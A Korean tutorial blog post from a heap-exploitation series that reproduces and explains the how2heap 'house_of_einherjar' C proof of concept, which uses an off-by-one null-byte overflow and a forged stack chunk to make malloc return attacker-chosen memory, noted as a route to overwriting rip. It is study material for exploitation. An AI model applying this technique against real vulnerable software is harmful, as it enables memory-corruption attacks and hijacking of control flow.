ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 0x09.How2heap - house_of_einherjar
    0x.Heap Tutorial 2018. 11. 22. 00:51

    0x09.How2heap - house_of_einherjar


    진짜 오랜만에 작성하는 듯하다. 근데 매 글의 윗 부분에 이 내용이 있긴 하지만.. combination을 풀겸해서 복습이닷.


    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #include <malloc.h>

    /*
      Credit to st4g3r for publishing this technique
      The House of Enherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
      This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
    */

    int main()
    {
    fprintf(stderr, "Welcome to House of Einherjar!\n");
    fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n");
    fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

    uint8_t* a;
    uint8_t* b;
    uint8_t* d;

    fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n");
    a = (uint8_t*) malloc(0x38);
    fprintf(stderr, "a: %p\n", a);

       int real_a_size = malloc_usable_size(a);
       fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);

       // create a fake chunk
       fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
       fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
       fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
       fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");

       size_t fake_chunk[6];

       fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
       fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
       fake_chunk[2] = (size_t) fake_chunk; // fwd
       fake_chunk[3] = (size_t) fake_chunk; // bck
       fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
       fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


       fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
       fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]);
       fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
       fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
       fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
       fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
       fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]);

    /* In this case it is easier if the chunk size attribute has a least significant byte with
    * a value of 0x00. The least significant byte of this will be 0x00, because the size of
    * the chunk includes the amount requested plus some amount required for the metadata. */
    b = (uint8_t*) malloc(0xf8);
       int real_b_size = malloc_usable_size(b);

    fprintf(stderr, "\nWe allocate 0xf8 bytes for 'b'.\n");
    fprintf(stderr, "b: %p\n", b);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
       /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

    fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
    fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0;
    fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
       fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you "
              "don't change the size of b, only its prev_inuse bit\n");
       fprintf(stderr, "If it had been modified, we would need a fake chunk inside "
              "b where it will try to consolidate the next chunk\n");

       // Write a fake prev_size to the end of a
       fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that "
              "it will consolidate with our fake chunk\n", sizeof(size_t));
       size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
       fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
       *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

       //Change the fake chunk's size to reflect b's new prev_size
       fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n");
       fake_chunk[1] = fake_size;

       // free b and it will consolidate with our fake chunk
       fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
       free(b);
       fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

       //if we allocate another chunk before we free b we will need to
       //do two things:
       //1) We will need to adjust the size of our fake chunk so that
       //fake_chunk + fake_chunk's size points to an area we control
       //2) we will need to write the size of our fake chunk
       //at the location we control.
       //After doing these two things, when unlink gets called, our fake chunk will
       //pass the size(P) == prev_size(next_chunk(P)) test.
       //otherwise we need to make sure that our fake chunk is up against the
       //wilderness

       fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
       d = malloc(0x200);
       fprintf(stderr, "Next malloc(0x200) is at %p\n", d);
    }


    해당 기법은 사실상 unlink를 이해해야지 사용이 가능하다.


    a = (uint8_t*) malloc(0x38);


    먼저 a를 malloc해준다.


    size_t fake_chunk[6];

    fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
    fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
    fake_chunk[2] = (size_t) fake_chunk; // fwd
    fake_chunk[3] = (size_t) fake_chunk; // bck
    fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
    fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


    그 다음으로는 fake_chunk를 만드는데, 해당 부분은 freed chunk의 구조와 동일하게 만들어줘야 한다. 또한 fake_chunk[2~5] 에 해당하는 값은 동일한 값이 들어가는데 이는 unlink 진행 시 double-linked-list를 우회하기 위함이다.


    b = (uint8_t*) malloc(0xf8);


    smallbin을 할당해준다. 해당 값은 결국 헤더 16바이트를 더하면 0x100이라는 값이 된다.


    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;


    fake_chunk와 b 사이의 거리를 구하여 해당 값을 b의 prev_size 영역에 적어준다. 이는 b 앞에 위치한 청크에서 오버플로우가 발생하거나 특정 경우에 의하여 prev_size가 덮어씌였을 경우를 의미한다.


     fake_chunk[1] = fake_size;


    또한 b 청크 앞에 위치한 청크에서 오버플로우가 발생하여 b 청크의 prev_in_use 비트를 0으로 변경하였다고 가정을 하자. 정확히 말하면 b 청크의 size의 값인 0x101이었는데 1바이트 overflow를 통해 마지막 비트에 0x00이 쓰여 0x100이 되고 prev_in_use flag가 0으로 세팅되었다.


    free(b);


    이제 b를 free하게 되면 병합이 일어나면서 fake_chunk의 사이즈 값이 fake_chunk_size + b.size로 변경이 된다.


    d = malloc(0x200);


    여기서 다시 malloc을 하게 되면 unlink가 되어 fake_chunk에 병합되었으므로 해당 주소를 기준으로 할당이 된다. 즉, fake_chunk의 위치를 시작으로 0x200바이트에 대한 할당이 진행된다.


    이 기법을 요약하자면 prev_in_use 비트까지 즉, 1바이트 만큼의 오버플로우가 가능하여 prev_size와 주소를 알고 있는 fake_chunk를 세팅한 뒤 오버플로우하여 prev_in_use의 값을 0으로 세팅한 청크를 free 함으로써 fake_chunk로 unlink하여 공격자가 이미 알고있는 fake_chunk로 다음 malloc을 할당하는 기법이다. 해당 기법을 통해 stack 값을 변조하여 rip를 변조하여 공격을 진행할 수 있다.

    '0x.Heap Tutorial' 카테고리의 다른 글

    0x08.How2heap - unsafe_unlink  (0) 2018.04.10
    0x07.How2heap - fastbin_dup_consolidate  (0) 2018.04.09
    0x06.Malloc hook  (0) 2018.03.19
    0x05.How2heap - fastbin_dup_into_stack  (0) 2018.03.12
    0x04.How2heap - fastbin_dup  (0) 2018.03.08

    댓글

Designed by Tistory.